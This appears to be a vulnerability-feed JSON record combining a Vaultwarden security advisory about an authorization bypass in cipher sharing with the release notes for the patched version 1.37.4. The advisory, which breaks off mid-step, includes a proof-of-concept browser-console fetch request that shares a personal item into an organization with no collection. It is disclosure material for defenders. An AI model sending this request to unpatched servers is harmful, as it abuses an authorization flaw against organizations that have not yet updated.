{"vuln_id":"GHSA-7ccc-c43j-4p36","aliases":[],"description":"Organization member can move personal items into an organization without collection access","published_at":"2026-10-28T18:01:28Z","modified_at":"2026-10-28T18:01:28Z","first_seen_at":"2026-11-22T13:40:16.266008Z","severity":"medium","severity_source":"ghsa","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","cwe":["CWE-862"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-7ccc-c43j-4p36"},"matched_alias":null,"items":[{"id":12034,"source":{"id":"gh-vaultwarden","name":"Vaultwarden releases + advisories (GitHub dani-garcia/vaultwarden)"},"title":"GHSA-7ccc-c43j-4p36: Organization member can move personal items into an organization without collection access","summary":"Organization member can move personal items into an organization without collection access\n\n### Summary\r\n\r\nAn authorization bypass vulnerability in the cipher sharing logic allows non-admin organization members to transfer personal ciphers to an organization without assigning them to a collection. This bypasses collection restrictions and results in \"orphan\" ciphers being injected directly into the organization's root.\r\n\r\n### Details\r\n\r\nIn `src/api/core/ciphers.rs`, the `update_cipher_from_data` function validates whether a user has permission to transfer a cipher to an organization. The authorization check relies on the following condition:\r\n\r\n```rust\r\nif shared_to_collections.as_ref().is_some_and(|cols| !cols.is_empty())\r\n    || member.has_full_access()\r\n    || cipher.is_write_accessible_to_user(&headers.user.uuid, conn).await\r\n\r\n```\r\n\r\nWhen a user shares a personal cipher, `is_write_accessible_to_user` evaluates to `true` because the user is the original owner. This creates a boolean short-circuit, bypassing the requirements that the user must either be an organization admin (`has_full_access`) or specify at least one valid collection (`!cols.is_empty()`).\r\n\r\nAs a result, the backend accepts the transfer payload even if `collectionIds` is empty, converting the cipher into an unassigned/orphan item within the organization.\r\n\r\n### PoC\r\n\r\n1. Log in to the Web Vault as **User A** (a standard, non-admin member of **Organization B**).\r\n2. Create a personal cipher (let's call it **Cipher A1**) and note its ID.\r\n3. Open the browser's Developer Tools (F12) Console and execute the following API request, deliberately leaving the `collectionIds` array empty:\r\n\r\n```\r\n// 1. Target Configuration & JWT\r\nconst JWT_TOKEN = \"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuY...[Truncated]\"; \r\nconst PERSONAL_CIPHER_ID = \"2004fb9e-8180-4909-91fb-c5a23feb20f3\"; \r\nconst TARGET_ORG_ID = \"2004fb9e-1b95-4fab-9604-b9324033b580\"; \r\n\r\n// 2. Audit Payload Construction\r\nconst payload = {\r\n    cipher: {\r\n        type: 1,\r\n        name: \"Audit_Test_Item\",\r\n        organizationId: TARGET_ORG_ID,\r\n        folderId: null,\r\n        login: {\r\n            username: \"audit_test_user\",\r\n            password: \"audit_test_password\"\r\n        }\r\n    },\r\n    // Boundary test: Empty array to verify if backend forces collection association\r\n    collectionIds: [] \r\n};\r\n\r\n// 3. API Execution\r\nfetch(`/api/ciphers/${PERSONAL_CIPHER_ID}/share`, {\r\n    method: 'PUT',\r\n    headers: {\r\n        'Authorization': JWT_TOKEN,\r\n        'Content-Type': 'application/json'\r\n    },\r\n    body: JSON.stringify(payload)\r\n})\r\n.then(async res => {\r\n    if (res.ok) {\r\n        console.warn(\"[Audit Flag] Request succeeded (200 OK). Potential logic flaw:\", await res.json());\r\n    } else {\r\n        console.log(`[Control Active] Request blocked (Status: ${res.status})`);\r\n    }\r\n})\r\n.catch(err => console.error(\"[Audit Error] Execution failed:\", err));\r\n\r\n```\r\n\r\n4. Observe that the API returns `200 OK`. Cipher A1 disappears from User A's personal vault.\r\n5. Log in as **User B** (Owner of Organization B) and navi\n\nAffected packages: rust:vaultwarden\nPatched: vaultwarden 1.37.4","url":"https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-7ccc-c43j-4p36","published_at":"2026-10-28T18:01:28Z","updated_at":"2026-10-28T18:01:28Z","fetched_at":"2026-11-22T13:40:16.224686Z","severity":"medium","cvss_score":4.3,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"dani-garcia","product":"vaultwarden","vuln_id":"GHSA-7ccc-c43j-4p36","vuln_ids":["GHSA-7CCC-C43J-4P36"],"tags":["repo-advisory","rust","CWE-862","security","repo:dani-garcia/vaultwarden"],"cluster_id":11343,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12034","html":"https://vulnwatch.ve1ve2.com/item/12034"}},{"id":12065,"source":{"id":"gh-vaultwarden","name":"Vaultwarden releases + advisories (GitHub dani-garcia/vaultwarden)"},"title":"[SECURITY RELEASE] dani-garcia/vaultwarden 1.37.4","summary":"Fixes advisories: GHSA-7ccc-c43j-4p36, GHSA-69q9-v8p6-xvx3, GHSA-q5x6-grh5-fqgc, GHSA-v576-3wvq-xh3c, GHSA-64mc-4p6f-r7x9, GHSA-qwx4-wcv4-mpcv, GHSA-7jg8-8m5x-6j9r\n\nSecurity keywords: security, GHSA-69Q9-V8P6-XVX3, GHSA-7JG8-8M5X-6J9R, GHSA-V576-3WVQ-XH3C, GHSA-Q5X6-GRH5-FQGC, GHSA-64MC-4P6F-R7X9, GHSA-7CCC-C43J-4P36, GHSA-QWX4-WCV4-MPCV\n\nSecurity Fixes\n\nThis release contains security fixes for the following advisories. We strongly advise updating as soon as possible.\n\nOrganization member revocation [GHSA-69q9-v8p6-xvx3] (High, 8.1)\n\nTwo-factor authentication [GHSA-7jg8-8m5x-6j9r] (Medium, 6.8)\n\nOrganization invitations [GHSA-v576-3wvq-xh3c] (Medium, 6.8)\n\nAttachments [GHSA-q5x6-grh5-fqgc] (Medium, 6.5)\n\nOrganization event logs [GHSA-64mc-4p6f-r7x9] (Medium, 4.3)\n\nCipher sharing [GHSA-7ccc-c43j-4p36] (Medium, 4.3)\n\nOrganization API key [GHSA-qwx4-wcv4-mpcv] (Low, 3.8)\n\nAdditional dependency updates and minor security enhancements\n\nThese are private for now, pending CVE assignment and publishing at a later date.\n\nNote\n\nIf an organization has Admins you don't fully trust, consider rotating its API key after updating (Admin Console → Settings → Rotate API key). Before this release, Admins could also view the key.\n\nUpgrade notes\n\nReverse proxies: with IP_HEADER=X-Forwarded-For, the client IP is now the rightmost address that isn't in IP_HEADER_TRUSTED_PROXIES (it used to be the leftmost). If you have several proxies in a row, for example a CDN in front of nginx, add all of them to IP_HEADER_TRUSTED_PROXIES. Otherwise the address of the proxy in front is used for rate limiting and logs.\n\nSends: bw send receive on CLI 2026.4.2 and older no longer works, the same as against Bitwarden's own servers since v2026.8.0. Creating and managing Sends works on all clients.\n\nFeature flags: these flags were removed because no client reads them anymore: ssh-agent, ssh-key-vault-item, mutual-tls, anon-addy-self-host-alias, simple-login-self-host-alias, pm-25373-windows-biometrics-v2, pm-26340-linux-biometrics-v2, desktop-ui-migration-milestone-1 to -4, cxp-import-mobile and cxp-export-mobile. If EXPERIMENTAL_CLIENT_FEATURE_FLAGS still lists one of them, startup logs a warning and saving settings in the admin panel fails until it's removed.\n\nDuo: DUO_USE_IFRAME (the deprecated Traditional Prompt) is removed and ignored if set.\n\nCustom templates: there's a new email template, email/recover_twofactor, sent after a login with a two-step recovery code.\n\nThe legacy POST /identity/accounts/register and POST /api/accounts/prelogin endpoints are removed. No current client uses them.\n\nWhen using a MariaDB or MySQL server which does not support native TLS/SSL encrypted connections, using the Alpine image of Vaultwarden might fail to connect. Add MARIADB_TLS_DISABLE_PEER_VERIFICATION=1 as an environment variable to your Vaultwarden server environment, and it will start running again.\n\nWhat's Changed\n\n[Web 2026.9.0] Support the vault banner policy by @tom27052006 in #7748\n\nAdd support for basic auth response client feature flag by @tom27052006 in #7745\n\n[web-v2026.8.1] store the user key ID by @Timshel in #7693\n\nAdd organizationsNew and policiesNew to sync response by @tom27052006 in #7666\n\nAdd pm-32009-new-item-types feature flag by @bdd in #7478\n\nUpdate Crates, GHA and JS by @BlackDex in #7751\n\nAdd pm-34171-card-scanner feature flag by @bdd in #7477\n\nset user_created bool for each separate invitation by @stefan0xC in #7753\n\nFix revoked org members retaining access to org ciphers by @abhiShandy in #7554\n\nEnsure all user checked routes are confirmed by @dani-garcia in #7763\n\nFix cortex-a53 build issues when using xx-cargo by @BlackDex in #7774\n\nAdd undetermined-cipher-scenario-logic feature flag (closes #7801) by @cad0p in #7802\n\nAdd Windows native credential sync to supported feature flags by @KingIronMan2011 in #7798\n\nHide the whole change-email section when EMAIL_CHANGE_ALLOWED is false by @tom27052006 in #7759\n\nFix Clippy warnings across all targets by @tom27052006 in #7782\n\nAdmin reset: 2fa email fallback need a verified email by @Timshel in #7770\n\nSends cleanup: remove legacy endpoints and align with upstream by @dani-garcia in #7806\n\nRemove legacy API endpoints and compatibility code by @dani-garcia in #7809\n\nAlign API with upstream and remove unwraps by @dani-garcia in #7810\n\nUpdate cra","url":"https://github.com/dani-garcia/vaultwarden/releases/tag/1.37.4","published_at":"2026-10-06T11:30:54Z","updated_at":null,"fetched_at":"2026-11-22T13:40:16.224741Z","severity":"high","cvss_score":8.1,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"dani-garcia","product":"vaultwarden","vuln_id":"GHSA-69q9-v8p6-xvx3","vuln_ids":["GHSA-64MC-4P6F-R7X9","GHSA-69Q9-V8P6-XVX3","GHSA-7CCC-C43J-4P36","GHSA-7JG8-8M5X-6J9R","GHSA-Q5X6-GRH5-FQGC","GHSA-QWX4-WCV4-MPCV","GHSA-V576-3WVQ-XH3C"],"tags":["release","repo:dani-garcia/vaultwarden","security"],"cluster_id":11344,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12065","html":"https://vulnwatch.ve1ve2.com/item/12065"}}]}